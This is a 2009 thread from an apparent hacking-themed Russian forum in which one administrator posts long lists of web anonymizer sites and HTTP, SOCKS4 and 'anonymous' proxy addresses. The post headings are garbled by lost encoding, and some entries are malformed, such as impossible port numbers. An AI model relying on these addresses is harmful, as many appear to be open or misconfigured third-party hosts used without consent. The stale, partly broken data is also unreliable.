�� "XAK"

��

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 15:07:10 +0400

>��<

��->><<- �� !
STEMP

��

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:28:27 +0400

http://www.kproxy.com/
http://www.645.cc/
http://www.474.cc/
http://www.anonymization.net/
http://www.guardster.com/
http://www.proxyweb.net/
http://webwarper.net/
http://megaproxy.com/
http://amegaproxy.com/
http://www.w3privacy.com/
http://www.anonymizer.ru/
http://www.the-cloak.com/
http://proxify.com/
http://www.snoopblocker.com/
http://www.long999.com/
http://www.calcmaster.net/
http://www.idzap.com/
http://www.goproxing.com/
http://www.merletn.org/anonymizer
http://www.proxymouse.com/
http://www.proxywave.com/
http://www.vtunnel.com/
http://www.freeproxy.ca/
http://www.hackingtruths.org/proxy
http://xanproxy.be/
http://www.proxyanon.com/
http://www.anonproxy.info/
http://www.proxysafe.com/
http://www.strongproxy.com/
http://surfonym.com/
http://www.browseatwork.com/
http://www.anonymousurfing.info/
http://www.browsingwork.com/
http://www.anotherproxy.com/
http://www.proxifyme.com/
http://www.unblockthis.com/
http://www.hidingyou.com/
http://www.fsurf.com/
http://www.proxy-surf.net/
http://www.totalupload.com/surf/
http://www.arandomproxy.com/
http://proxynanny.com/
http://www.anoniproxy.com/
http://pleaseunblock.com/
http://www.proxylord.com/
http://www.proxyindex.com/
http://www.surf-anonymous.org/
http://www.privacy-world.com/
http://www.surf24h.com/
http://bywhat.com/
http://gothru.info/
http://www.openupms.com/
http://www.stupidschool.com/
http://www.ianonymous.info/
http://viewtheweb.info/
http://openblockers.info/
http://dontbestopped.info/
http://www.proxy4myspace.org/
http://www.freedomtunnel.info/
http://privatebrowse.info/
http://getonnow.info/
http://freemyurl.info/
http://bypasslocks.info/
http://www.noipproxy.com/
http://www.myinternetproxy.com/
http://www.surfinstantly.info/
http://worldwideunblocker.info/
http://www.iproxy.eu/
http://www.blairstownnj.org/
http://bypassway.net/
http://289.us/
http://browsebrisk.com
http://browsecrafty.com
http://hidden4u.com
http://planetx5.com

anonymous

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:26:05 +0400

140.247.60.123:3124
138.246.99.249:3128
146.57.249.98:3128
204.56.0.138:3127
221.130.193.14:80
193.167.187.188:3127
218.206.194.247:8800
194.42.17.124:3124
195.116.60.34:3124
128.238.88.65:3127
201.229.208.2:80
218.249.35.246:808
194.42.17.124:3127
128.195.54.161:3124
128.238.88.65:3124
193.167.182.132:3127
66.98.212.79:8888
94.76.205.113:30003
87.117.231.21:10201
94.229.69.98:33333
222.184.56.3:80
87.117.231.22:12323
221.11.27.110:8080
94.229.69.97:40004
89.207.233.9:18081
116.11.32.210:8080
213.92.101.3:80
194.176.176.82:8080
64.79.194.56:41113
64.79.194.49:31955
64.79.199.35:48725
92.243.17.151:23332
64.79.209.203:34968
81.169.176.86:80
61.133.196.36:80
202.106.121.134:80
81.174.70.140:28282
82.204.37.210:8080
192.41.135.218:3128
137.226.138.154:3124
80.6.67.111:9090
128.232.103.201:3127
128.232.103.203:3124
164.41.254.1:80
206.167.158.131:8080
200.221.10.104:80
194.246.124.85:80
222.255.29.83:8888
195.57.124.85:80
64.79.197.36:43444
79.99.129.51:80
66.155.118.55:80
64.86.28.118:19193
202.168.193.131:80
211.161.197.182:80
137.56.244.38:80
88.216.54.84:80
209.63.57.11:80
69.43.144.101:8000
211.100.4.71:80
62.144.34.205:3128
66.155.122.112:808
129.69.210.97:3124
59.90.213.141:6588
210.164.19.109:8080
219.237.199.113:8080
140.113.156.245:3128
61.234.254.69:8088
202.78.239.204:1080
68.102.90.174:2301
24.3.105.116:9090
70.186.168.130:9090
76.107.208.13:9090
219.34.2.65:8080
66.253.168.169:9090
189.111.166.103:6588
203.110.240.22:80
66.128.38.41:8080
38.103.164.174:9090
207.248.228.166:80
194.106.94.39:8080
200.55.208.203:80
61.91.165.29:3128
66.128.38.41:80
61.90.185.168:80
125.89.73.159:80
212.170.156.46:80
212.123.91.61:82
200.104.250.92:80
80.153.156.21:1080
81.31.157.33:6654
76.169.103.173:9090
69.47.165.83:9090
194.3.18.22:80
194.117.157.72:8647
210.245.54.64:80
200.215.41.202:80
210.143.22.51:8080
218.40.172.45:80
218.22.177.234:8080
68.34.1.132:9090
99.199.237.158:9090
65.65.219.98:29122
194.3.18.21:80
201.245.152.230:80
70.86.138.210:8132
83.138.242.16:8000
69.120.173.183:9090
58.20.51.207:808
98.216.3.48:9090
216.151.156.26:80
94.255.180.252:80
79.133.224.249:80
66.209.56.218:8080
213.171.255.2:8080
151.79.46.58:8080
202.83.174.14:8080
222.255.29.84:8888
93.188.168.68:80
121.52.49.218:8088
68.49.71.4:80
194.117.157.72:22622
68.118.147.60:9090
82.40.108.30:9090
194.117.157.72:24874
75.87.189.110:9090
82.37.169.145:9090
193.19.82.24:3128
194.117.157.72:19772
194.117.157.72:18272
76.112.150.1:9090
75.111.224.250:9090
68.175.47.31:9090
82.27.35.132:9090
60.254.13.79:80
202.213.246.61:80
72.190.122.130:9090
222.41.192.146:808
77.246.72.250:3128
195.159.135.38:80
210.245.80.10:8888
174.129.225.131:80
198.110.167.72:80
213.154.216.55:80
202.85.94.25:8088
84.244.5.86:80
high anonymous
140.247.60.123:3124
138.246.99.249:3128
146.57.249.98:3128
204.56.0.138:3127
221.130.193.14:80
193.167.187.188:3127
218.206.194.247:8800
194.42.17.124:3124
195.116.60.34:3124
128.238.88.65:3127
201.229.208.2:80
218.249.35.246:808
194.42.17.124:3127
128.195.54.161:3124
128.238.88.65:3124
193.167.182.132:3127
66.98.212.79:8888
192.41.135.218:3128
137.226.138.154:3124
80.6.67.111:9090
128.232.103.201:3127
128.232.103.203:3124
164.41.254.1:80
209.63.57.11:80
62.144.34.205:3128
66.155.122.112:808
129.69.210.97:3124
59.90.213.141:6588
210.164.19.109:8080
219.237.199.113:8080
140.113.156.245:3128
61.234.254.69:8088
202.78.239.204:1080
68.102.90.174:2301
24.3.105.116:9090
70.186.168.130:9090
76.107.208.13:9090
219.34.2.65:8080
66.253.168.169:9090
189.111.166.103:6588
203.110.240.22:80
81.31.157.33:6654
76.169.103.173:9090
69.47.165.83:9090
194.3.18.22:80
194.117.157.72:8647
210.245.54.64:80
200.215.41.202:80
210.143.22.51:8080
218.40.172.45:80
218.22.177.234:8080
68.34.1.132:9090
99.199.237.158:9090
65.65.219.98:29122
194.3.18.21:80
201.245.152.230:80
70.86.138.210:8132
83.138.242.16:8000
69.120.173.183:9090
58.20.51.207:808
98.216.3.48:9090
194.117.157.72:22622
68.118.147.60:9090
82.40.108.30:9090
194.117.157.72:24874
75.87.189.110:9090
82.37.169.145:9090
193.19.82.24:3128
194.117.157.72:19772
194.117.157.72:18272
76.112.150.1:9090
75.111.224.250:9090
68.175.47.31:9090
82.27.35.132:9090
60.254.13.79:80
202.213.246.61:80
72.190.122.130:9090
222.41.192.146:808

HTTP-��

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:24:21 +0400

80.250.30.29:3128
213.81.172.254:3128
200.94.106.76:8080
125.40.47.112:3128
200.222.48.8:80
122.224.171.91:3128
200.241.95.10:3128
119.31.250.73:8080
218.28.58.86:3128
213.81.172.254:3128
200.94.106.76:8080
125.40.47.112:3128
200.222.48.8:80
122.224.171.91:3128
207.61.241.100:9090
66.128.38.41:80
58.176.56.189:9090
91.121.107.117:3128
119.31.250.73:8080
202.88.253.138:8080
125.240.55.130:8080
210.17.228.190:8088
62.129.243.66:80
200.241.95.10:3128
203.160.1.85:80
203.160.1.103:80
201.17.6.199:3128
67.69.254.247:80
119.31.250.73:8080
202.88.253.138:8080
125.240.55.130:8080
189.11.171.26:3128
122.224.171.91:3128
60.30.83.220:8080
203.160.1.66:80
203.160.1.103:80
203.160.1.75:80
203.160.1.85:80
200.94.106.76:8080
61.133.196.36:80
61.133.196.40:80
213.81.172.254:3128
222.134.58.246:3128
61.90.185.168:80
119.31.250.73:8080
222.255.28.33:3128
218.60.146.200:80
61.6.163.29:3128
218.5.18.131:3128
150.165.255.74:3128
218.28.58.86:3128
202.88.253.138:8080
60.12.190.109:8088
66.128.38.41:80
66.128.38.41:80
210.75.4.138:80
60.12.227.209:3128
78.111.34.2:8080

SOCKS 4

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:23:18 +0400

24.61.253.220:58707
61.116.180.191:1080
61.116.180.130:1080
61.116.180.190:1080
122.231.65.248:1080
123.124.255.114:1080
24.21.99.150:58377
91.197.49.214:1080
83.223.129.77:1080
61.116.180.130:1080
61.116.180.191:1080
61.116.180.190:1080
122.231.65.248:1080
123.124.255.114:1080
98.213.100.93:52289
76.110.19.233:22535
91.197.49.214:1080
83.223.129.77:1080
122.231.65.248:1080
61.116.180.191:1080
61.116.180.190:1080
61.116.180.130:1080
123.124.255.114:1080
98.213.100.93:52289
24.61.253.220:58707
70.121.206.74:6147
68.41.16.145:2871
61.116.180.130:1080
61.116.180.130:1080
61.116.180.130:1080
61.116.180.130:1080
64.233.153.185:35229
75.66.137.97:34107
24.131.120.220:9455
68.41.16.145:2871
98.213.100.93:52289
68.59.247.230:36911
24.89.138.219:20761
83.223.129.77:1080
61.116.180.130:1080
122.231.65.248:1080
123.124.255.114:1080
61.116.180.191:1080
61.116.180.190:1080
68.113.169.236:24189
75.66.137.97:34107
123.124.255.114:1080
121.8.124.42:1080
122.231.65.248:1080
69.254.99.201:51209
61.116.180.130:1080
61.116.180.190:1080
61.116.180.191:1080
202.152.44.62:1080
76.125.212.249:56427
68.41.16.145:2871
75.43.78.173:18117
61.116.180.191:1080
123.124.255.114:1080
24.61.253.220:58707
61.116.180.190:1080
61.116.180.130:1080
72.28.238.47:23699
122.231.65.248:1080
68.41.16.145:2871
76.110.19.233:22535

anon

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:20:43 +0400

222.123.56.118:3128
99.199.237.158:9090
98.230.46.95:9090
98.216.3.48:9090
98.193.185.111:9090
96.21.139.56:9090
96.18.113.254:9090
93.188.168.68:80
93.100.16.90:8080
92.233.176.50:9090
91.194.85.198:6654
91.147.97.179:3128
91.121.84.92:80
89.42.113.19:808
89.101.241.30:9090
88.81.155.30:80
86.12.38.149:9090
84.235.0.182:8080
83.64.147.45:3128
83.223.140.235:80
83.220.195.232:9090
83.18.253.131:80
83.169.81.16:80
82.33.194.185:9090
82.204.37.210:8080
82.134.53.6:80
80.88.242.32:9090
80.6.67.111:9090
80.34.164.229:8090
80.241.33.242:3128
80.126.22.246:80
79.4.134.26:8080
77.226.240.50:8080
76.173.95.124:9090
76.116.82.97:9090
76.113.8.160:9090
76.107.108.228:9090
76.107.108.144:9090
76.104.116.58:9090
75.83.57.219:9090
75.81.22.134:9090
75.71.201.116:9090
75.145.25.50:80
74.211.5.196:9090
72.9.104.5:80
72.136.252.159:9090
71.91.44.14:9090
71.205.109.70:9090
71.195.130.227:9090
70.64.225.85:9090
70.180.173.142:9090
70.119.146.106:9090
69.248.79.217:9090
69.246.95.252:9090
69.246.61.14:9090
69.246.32.76:9090
69.245.52.76:9090
69.22.113.10:9090
69.196.215.65:7212
69.162.81.140:80
69.120.173.183:9090
68.84.47.147:9090
68.60.189.199:9090
68.49.71.4:80
68.2.104.70:9090
67.217.17.182:9090
67.206.81.35:80
66.91.101.52:9090
66.57.75.68:9090
66.244.214.230:80
66.232.106.145:80
66.184.78.194:9090
66.167.100.59:6649
66.155.123.214:808
66.128.38.41:8080
66.119.43.32:80
66.110.146.144:9090
65.65.219.98:29122
65.190.0.99:9090
64.76.109.207:80
64.22.118.170:81
63.208.148.223:80
62.193.246.10:6654
62.144.34.207:3128
62.144.34.206:3128
61.91.165.29:3128
61.90.185.168:80
61.234.254.69:8088
61.19.222.7:80
61.133.196.40:80
61.133.196.36:80
60.63.26.193:80
60.250.27.242:80
60.22.156.41:808
59.56.174.199:808
58.52.202.7:808
58.20.51.207:808
41.247.46.126:8080
38.103.164.179:9090
38.103.164.178:9090
38.103.164.174:9090
24.79.173.214:9090
24.77.169.85:9090
24.70.39.70:9090
24.44.219.167:9090
24.3.145.226:9090
24.3.105.116:9090
24.254.34.183:9090
24.153.249.240:9090
24.139.68.242:9090
24.10.84.226:9090
222.190.124.19:8000
222.188.91.85:8080
222.184.56.3:80
221.130.193.14:8080
221.124.131.25:9090
221.12.147.80:808
221.11.27.110:8080
220.130.81.188:8000
220.128.122.187:80
218.91.251.62:8089
218.75.83.98:8081
218.75.76.74:8088
218.75.23.110:3128
218.252.41.203:80
218.241.141.37:8080
218.241.141.35:8080
218.206.194.247:8800
218.194.80.220:808
218.182.134.23:8080
218.180.141.30:8080
218.113.112.23:8080
217.9.143.95:8081
216.129.228.87:8080
213.97.52.28:8080
213.41.71.164:80
213.130.105.148:8080
212.123.91.61:6969
212.123.91.61:81
212.123.91.165:80
211.99.188.218:80
211.161.197.182:80
211.100.4.71:80
210.86.181.202:80
210.86.181.201:80
210.82.31.151:80
210.52.15.210:808
210.196.98.51:80
210.128.252.88:80
209.81.105.179:8080
209.237.195.162:80
208.78.100.130:80
208.77.219.76:80
208.20.21.160:8080
208.20.21.157:8080
207.35.173.123:3128
207.35.172.214:80
207.35.172.213:80
206.167.158.131:8080
206.161.120.40:2008
203.82.52.210:8080
203.70.96.10:80
203.149.32.30:8080
203.145.117.183:80
203.113.137.66:8888
203.110.240.22:80
202.99.29.27:80
202.85.94.25:8088
202.78.227.32:8080
202.197.64.42:80
202.168.193.131:80
202.106.121.134:80
201.229.208.3:80
201.229.208.2:80
200.8.0.139:8000
200.31.42.3:80
200.221.10.104:80
200.104.250.91:80
20.132.16.22:80
198.110.167.72:80
196.211.117.187:8080
195.57.124.85:80
195.226.16.132:80
194.246.124.85:80
194.176.176.82:8080
194.144.60.91:80
194.126.12.115:8080
194.117.157.72:17375
194.117.157.72:24874
194.117.157.72:33534
194.117.157.72:14668
194.117.157.72:22622
194.117.157.72:14572
194.117.157.72:12219
194.117.157.72:11251
194.106.115.117:80
194.106.115.116:80
193.69.186.83:80
193.218.155.59:80
189.166.72.129:80
187.8.40.158:6588
174.36.168.194:8080
174.36.168.133:8080
174.129.225.131:80
174.0.50.242:9090
160.79.139.56:80
160.75.90.69:80
158.109.138.132:80
156.17.207.8:80
151.79.46.58:8080
140.113.156.245:3128
137.56.244.38:80
130.63.177.192:8080
125.89.73.159:80
124.53.159.169:80
124.207.168.48:808
124.128.12.210:8088
121.72.252.190:9090
121.72.229.5:9090
12.188.26.242:80
119.245.138.129:3128
119.147.23.118:8080
118.98.232.202:8080
116.11.32.210:8080

high anonymous

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:19:02 +0400

194.36.10.154:3128
133.1.74.163:3128
133.1.74.163:68664
69.118.237.19:9090
72.55.191.6:3128
128.111.52.62:3127
128.111.52.62:3124
137.226.138.154:3127
150.65.32.66:3128
136.145.115.194:3124
133.1.16.172:3127
134.2.172.253:3124
211.90.22.106:8088
132.187.230.1:3124
132.239.17.224:3128
207.61.241.100:9090
201.229.208.3:80
128.238.88.64:3128
124.207.168.48:808
128.238.88.65:3127
192.33.210.17:3124
142.150.238.12:3124
208.117.131.116:3128
221.130.193.14:80
218.206.194.247:8800
24.77.169.85:9090
192.33.210.17:3128
201.229.208.2:80
193.167.182.132:3128
193.167.182.130:3124
218.97.194.94:80
128.252.19.21:3124
128.238.88.65:3124
128.238.88.64:3124
193.167.182.130:3128
194.42.17.124:3124
193.167.182.132:3124
128.232.103.203:3124
194.42.17.124:3127
202.99.21.162:8081
128.232.103.203:3127
195.130.121.204:3124
155.246.12.163:3127
128.252.19.20:3124
80.6.67.111:9090
128.232.103.201:3127
192.42.43.23:3124
128.232.103.201:3124
193.55.112.41:3128
210.197.97.67:8080
208.117.131.115:3127
59.56.174.199:808
192.42.43.23:3127
221.124.131.25:9090
61.234.254.69:8088
64.246.18.25:8888
124.128.12.210:8088
58.52.202.7:808
98.230.46.95:9090
129.69.210.97:3124
129.69.210.97:3127
189.166.72.129:80
218.75.23.110:3128
208.117.131.115:3128
206.161.120.40:2008
195.130.121.205:3124
203.110.240.22:80
218.194.80.220:808
24.70.39.70:9090
76.107.139.191:9090
68.104.55.221:9090
218.248.21.194:80
129.69.210.96:3127
193.174.67.187:3128
210.196.98.51:80
195.135.236.204:3128
134.2.172.252:3127
70.186.168.130:9090
219.34.2.65:8080
218.252.37.227:808
70.64.225.85:9090
194.117.157.72:15226
24.3.105.116:9090
98.193.185.111:9090
98.216.3.48:9090
67.230.66.70:8000
202.213.246.61:80
69.47.165.83:9090
94.102.57.2:3128
68.2.104.70:9090
221.12.147.80:808
62.144.34.207:3128
61.175.215.214:808
24.164.253.14:9090
194.117.157.72:10111
69.136.58.38:9090
202.98.116.15:808
89.212.135.232:9090
98.181.63.127:9090
74.79.165.21:9090
67.87.64.23:9090
58.20.51.207:808
222.35.140.73:808
194.117.157.72:24874
68.199.107.24:9090
70.180.173.142:9090
86.6.122.30:9090
24.3.145.226:9090
82.4.7.105:9090
194.144.60.91:80
99.247.210.73:9090
66.244.214.230:80
72.136.252.159:9090
24.79.173.214:9090
133.1.74.162:3124
69.245.52.76:9090
24.153.249.240:9090
68.105.12.164:9090
194.117.157.72:17375
210.158.56.85:8080
210.161.119.51:444
70.74.69.172:9090
201.80.188.229:8080
193.174.67.186:3124
86.61.76.7:8088
64.13.251.55:5060
194.117.157.72:19772

��

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:18:08 +0400

195.89.143.211:8090
200.141.167.125:6588
83.167.122.41:3128
81.31.157.43:6654
65.75.189.33:8080
81.31.157.33:6654
222.116.180.23:3128
89.189.85.102:80
89.189.84.1:80
201.228.130.234:6588
80.191.3.6:8080
82.204.37.210:8080
89.189.84.25:80
98.16.253.47:8080
189.79.63.28:6588
194.246.124.85:80
201.53.19.192:6588
200.104.250.91:80

HTTP ��

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:17:30 +0400

67.69.254.248:80
128.233.252.12:3124
189.1.180.181:3128
67.69.254.253:80
201.229.208.2:80
201.229.208.3:80
201.229.208.003:80
222.88.242.189:3128
218.28.58.86:3128
218.75.100.114:8080
216.165.109.79:3127
216.165.109.79:3127
84.233.227.57:8080
194.36.10.154:3124
67.69.254.245:80
142.150.238.12:3124
60.12.190.108:8088
218.14.227.197:3128
133.1.16.171:3124
133.11.240.56:3124
133.11.240.57:3127
193.55.112.41:3127
195.144.24.27:80
193.55.112.41:3127
77.226.240.50:8080
67.69.254.245:80
201.80.166.48:6588
60.12.190.108:8088
85.214.48.72:80
60.12.190.108:8088
150.65.32.68:3127
58.22.101.251:80
58.39.155.140:8088
58.52.202.7:808
58.222.254.13:3128
60.2.93.11:80
60.12.190.108:8088
60.160.130.119:808
60.217.80.36:8080
61.133.196.40:80
119.147.23.118:8080
120.28.64.69:8080
120.28.64.86:8080
121.14.211.71:80
121.22.29.180:80
121.22.29.182:80
121.22.29.183:80
122.225.31.253:3128
124.244.187.185:808
125.245.196.194:8080
143.248.139.56:3124
202.129.181.242:8080
202.156.14.74:80
203.160.1.66:80
203.160.1.75:80
203.160.1.85:80
203.160.1.103:80
203.160.1.121:80
211.95.176.6:808
195.113.161.82:3124
68.97.121.200:9090
133.1.16.172:3124
218.3.242.106:8080
218.75.100.114:8080
218.206.194.247:8800
221.3.208.40:80
221.122.66.85:8080
222.88.242.189:3128
222.184.56.3:80
24.127.113.227:9090
60.161.159.206:80
60.218.99.18:8080
62.75.214.139:3128
62.129.243.66:80
68.40.39.11:9090
76.89.23.238:9090
76.107.38.217:9090
86.51.34.39:80
87.236.195.86:3128
89.189.84.1:80
89.189.84.54:80
98.247.53.216:9090
120.138.110.210:3128
122.18.104.60:8080
123.203.119.147:808
130.49.221.41:3127
130.49.221.41:3127
130.75.87.83:3124
130.136.254.21:3124
130.192.157.131:3124
131.175.17.10:3124
132.187.230.1:3128
193.40.59.83:8080
195.24.131.87:3128
83.167.122.41:3128
85.15.216.65:8080
87.248.168.73:9090
88.81.227.30:3128
193.40.130.24:8080
193.40.59.83:8080
212.56.203.196:3128
213.128.216.241:3128
217.195.48.1:8080
217.195.48.32:8080
77.238.224.77:8080
81.177.3.10:80
85.15.216.65:8080
87.248.168.73:9090
89.207.240.235:3128
89.208.43.141:80
91.103.121.70:8080
91.142.12.174:8080
91.142.12.62:8080
193.93.230.207:1080
77.66.223.123:1080
80.247.189.158:1080
82.162.108.210:1080
82.207.64.235:1080
83.239.19.202:1080
83.239.19.202:1080
141.24.33.192:3124
141.76.45.18:3124
142.33.100.41:8080
164.107.127.13:3124
152.3.138.2:3128
165.230.49.115:3128
192.33.210.17:3124
192.33.90.68:3124
192.41.135.218:3124
198.133.224.145:3124
198.133.224.146:3127
204.56.0.137:3124
204.56.0.137:3124
208.117.131.116:3124
211.100.34.11:80
125.89.161.189:8080
142.150.238.13:3124
142.150.238.12:3124
128.233.252.11:3127
164.107.127.13:3127
194.36.10.154:3128
217.172.187.98:80
195.226.16.132:80
200.31.42.3:80
210.82.31.151:80
60.247.2.241:8080
202.239.242.75:8080
203.82.52.210:8080
82.204.37.210:8080
203.82.52.210:8080
130.63.177.192:8080
82.204.37.210:8080
203.104.252.222:80
210.128.252.88:80
210.238.184.144:3128
210.238.184.150:3128
219.96.216.34:3128
220.111.137.188:8080
196.213.163.58:8080
118.98.161.122:3128
118.98.169.66:80
118.98.171.18:8080
118.98.232.202:8080
120.28.64.69:8080
140.127.81.85:80
211.72.151.94:3128
60.251.132.43:3128
61.222.193.228:3128
67.78.144.22:80
212.8.129.249:3128
213.23.77.146:80
217.172.187.98:80
219.93.178.162:3128
219.93.178.162:68664
60.49.216.82:3128
61.6.163.29:3128
212.56.203.196:3128
193.252.45.218:3128
195.101.116.12:80
195.144.24.27:80
91.121.112.151:3128
91.121.179.81:3128
91.121.2.8:3128
60.217.80.36:8080
67.69.254.249:80
72.36.112.71:3128
72.55.191.6:3128
121.207.252.139:80
192.41.135.219:3124
208.117.131.116:3128
218.17.246.197:3128
218.75.100.114:8080
218.91.251.62:8089
218.206.194.247:8800
222.134.58.246:3128
58.22.101.251:80
12.51.72.38:9090
24.230.182.225:9090
64.66.192.62:32080
67.69.254.240:80
72.36.112.71:3128
58.52.202.7:808
71.205.113.223:9090
71.77.147.94:9090
75.64.232.63:9090
209.159.204.250:9090
67.149.165.201:9090
194.117.157.72:12907
201.62.131.46:6588
24.99.208.196:9090
60.160.130.119:808
69.246.95.252:9090
62.152.198.193:3128
201.80.166.48:6588
200.21.43.219:6588
217.219.133.196:8080
198.106.183.148:80
220.111.137.188:8080
200.94.69.198:8080
71.254.149.34:8000
217.195.48.3:8080
200.97.135.42:80
129.59.78.115:8118
24.214.90.90:8000
190.226.46.132:80
24.72.15.57:9090
67.69.254.249:80
203.158.167.152:8080
213.130.111.206:8080
203.162.183.222:80
196.5.66.11:80
218.17.246.197:3128
201.229.208.2:80
125.245.196.194:8080
61.133.196.40:80
61.90.185.168:80
210.86.181.202:80
83.137.26.25:8080
121.22.29.181:80
67.69.254.247:80
67.69.254.254:80
167.206.55.215:80
66.198.41.11:3128
62.129.243.66:80
61.139.73.6:8080
77.88.66.251:8000
201.229.208.3:80
218.62.91.211:8080
12.86.59.150:80
213.41.71.164:80
218.14.227.197:3128
202.98.23.116:80
89.189.84.11:80
60.217.68.150:8080
119.70.40.101:8080
140.127.81.85:80
62.240.183.82:8080
219.93.178.162:3128
200.49.141.73:8080
200.174.85.195:3128
203.160.1.75:80
202.99.29.27:80
220.111.137.188:8080
189.56.150.110:8080
121.22.29.183:80
200.41.60.135:3128
91.121.107.117:3128
61.94.172.13:8080
213.180.131.135:80
80.80.12.123:80
202.98.23.114:80

HTTP �� .

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:15:39 +0400

218.14.227.197:3128
61.105.175.113:3128
60.30.83.220:8080
201.86.70.190:3128
201.86.70.190:3128
119.147.23.118:8080
201.229.208.2:80
201.30.141.82:3128
201.229.208.003:80
203.160.1.121:80
203.160.1.66:80
203.160.1.94:80
203.160.1.103:80
203.160.1.112:80
203.160.1.75:80
203.160.1.85:80
67.69.254.251:80
67.69.254.244:80
200.94.106.76:8080
121.207.252.139:80
201.65.121.102:3128
72.55.191.6:3128
82.204.37.210:80
82.204.37.210:80
220.130.48.155:3128
220.130.10.171:3128
220.135.212.133:3128
124.53.159.169:80
80.88.242.32:9090
77.240.82.6:80
200.163.209.114:3128
213.4.106.164:8080
61.133.196.36:80
60.191.96.90:808
219.93.178.162:3128
219.93.178.162:3128
167.206.55.215:80
204.194.251.15:80
61.133.196.40:80
120.28.64.86:8080
202.57.48.195:3128
125.163.84.140:8080
125.245.196.194:8080
209.17.190.136:3128
210.82.31.151:80
193.40.130.24:8080
60.12.190.108:8088
212.93.193.82:443
212.93.193.78:443
212.93.193.74:443
212.93.193.83:443
212.93.193.72:443
84.233.227.57:8080
212.219.86.150:80
62.129.243.66:80
72.55.191.6:3128
200.208.90.194:3128
121.22.29.183:80
221.239.127.205:3128
193.252.45.218:3128
218.62.91.211:8080
62.240.183.82:8080
62.38.217.244:3128
121.22.29.181:80
195.159.135.38:80
213.81.172.254:3128
59.120.142.229:3128
91.121.107.117:3128
190.65.211.154:8080
200.207.89.21:3128
59.126.110.155:3128
189.19.229.15:3128
119.70.40.101:8080
140.130.192.2:3128
60.251.132.43:3128
91.142.12.174:8080
211.95.176.6:808
60.217.68.150:8080
77.108.40.194:8080
212.100.64.41:3128
221.130.193.14:80
221.130.193.14:80
124.106.77.46:3128
218.17.246.197:3128
189.56.150.110:8080
201.65.163.131:80
201.39.183.172:3128
218.97.194.94:80
121.22.29.182:80
122.224.222.134:3128
121.22.29.180:80
67.78.144.22:80
195.101.116.12:80
64.66.192.62:80
64.66.192.62:80
222.134.58.246:3128
218.94.9.38:8080
64.66.192.61:32080
124.30.18.245:3128
66.198.41.11:3128
220.194.221.29:3128
125.162.90.26:3128
193.173.119.83:8080
140.127.81.85:80
218.240.35.59:3128
200.158.140.107:3128
67.69.254.253:80
200.221.10.104:80
221.224.53.83:3128
66.155.118.55:80
200.207.90.137:3128
200.119.240.115:3128
189.29.91.168:3128
94.74.137.4:80
203.162.183.222:80
203.160.1.130:554
203.160.1.130:554
60.251.221.98:3128
203.109.123.233:80
79.99.129.51:80
118.137.223.66:8080
116.199.202.95:8080
200.186.35.38:8080
209.112.224.45:8080
213.136.8.87:3128
196.213.163.58:8080
89.142.197.212:8088
190.12.49.230:3128
74.53.91.58:8080
119.31.250.73:8080
189.12.128.18:8080
210.17.228.189:8088
210.17.228.191:8088
189.124.152.141:8080
201.67.198.2:3128
124.157.241.43:8000
91.121.112.151:3128
125.241.234.3:8080
80.90.82.92:80
116.11.32.210:8080
212.56.203.196:3128
213.79.43.142:3128
202.93.141.14:8080
210.17.228.190:8088
220.90.215.13:8080
125.240.55.130:8080
189.166.72.129:80
190.161.145.82:3128
189.21.159.5:3128
189.19.3.166:3128
189.1.4.200:80
70.167.178.180:8080
202.88.253.138:8080
122.116.45.17:80
203.104.252.222:80
61.135.130.101:8080
117.102.53.105:3128
91.121.0.205:3128
59.49.12.57:8080
200.96.12.195:80
195.144.24.27:80
59.56.174.199:808
174.129.113.87:3128
89.144.96.79:808

HTTP

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:14:51 +0400

12.41.224.194:80
12.41.224.227:80
128.183.240.13:80
128.59.20.226:3127
130.133.1.4:80
189.37.28.147:6588
193.109.238.74:80
193.45.143.12:80
193.45.143.41:80
194.176.176.82:8080
194.36.10.156:3128
195.130.121.205:3128
195.208.252.130:80
201.17.6.199:3128
203.160.1.75:80
203.160.1.94:80
203.178.133.2:3127
205.234.185.2:80
207.126.123.14:80
207.126.123.31:80
207.176.148.38:80
207.241.148.125:80
207.241.148.83:80
207.241.149.48:80
207.58.130.125:80
207.58.130.126:80
207.58.130.127:80
207.58.135.116:80
208.106.250.202:80
208.185.127.41:80
208.185.127.46:80
208.45.143.104:80
208.45.143.105:80
209.151.80.90:80
209.163.108.80:80
209.197.78.141:80
209.200.46.108:80
209.211.252.52:80
209.235.218.83:80
209.34.241.44:80
209.63.57.11:80
211.95.176.6:808
216.128.15.7:80
216.131.76.165:80
216.27.89.10:80
216.28.47.243:80
216.88.180.29:80
216.92.100.102:80
216.92.167.126:80
216.92.235.47:80
218.103.71.153:80
222.215.152.139:8080
60.2.93.11:80
61.139.73.6:8080
62.116.161.244:80
64.156.27.80:80
64.156.27.81:80
64.156.27.82:80
64.157.13.111:80
64.157.13.112:80
64.157.13.114:80
64.159.90.41:80
64.159.90.42:80
64.159.90.43:80
64.159.90.45:80
64.16.20.22:443
64.27.21.167:80
64.34.121.216:80
64.91.240.24:80
65.101.56.26:443
65.166.186.180:443
65.199.160.6:80
65.243.68.184:80
66.119.43.31:80
66.119.43.36:80
66.119.43.37:80
66.160.167.68:80
66.198.41.11:3128
66.221.9.170:80
66.225.212.182:80
66.230.212.200:80
66.230.212.202:80
66.230.212.203:80
66.230.212.206:80
66.230.212.207:80
66.230.212.208:80
66.39.5.184:80
66.77.122.132:80
66.77.122.135:80
67.15.104.28:80
67.19.193.229:80
69.90.107.184:80
70.47.58.52:80
70.85.217.109:80
72.249.149.144:80
72.32.134.146:80
72.55.191.6:3128
74.54.156.73:80
81.187.203.152:80
81.187.203.182:80
85.116.9.34:80
planet1.l3s.uni-hannover.de:3124
planet2.colbud.hu:3124
planetlab1.cs.uiuc.edu:3127
planetlab-1.usask.ca:3128
planetlab2.cesnet.cz:3127
planetlab2.informatik.uni-erlangen.de:3124
planetlab4.cs.duke.edu:3128
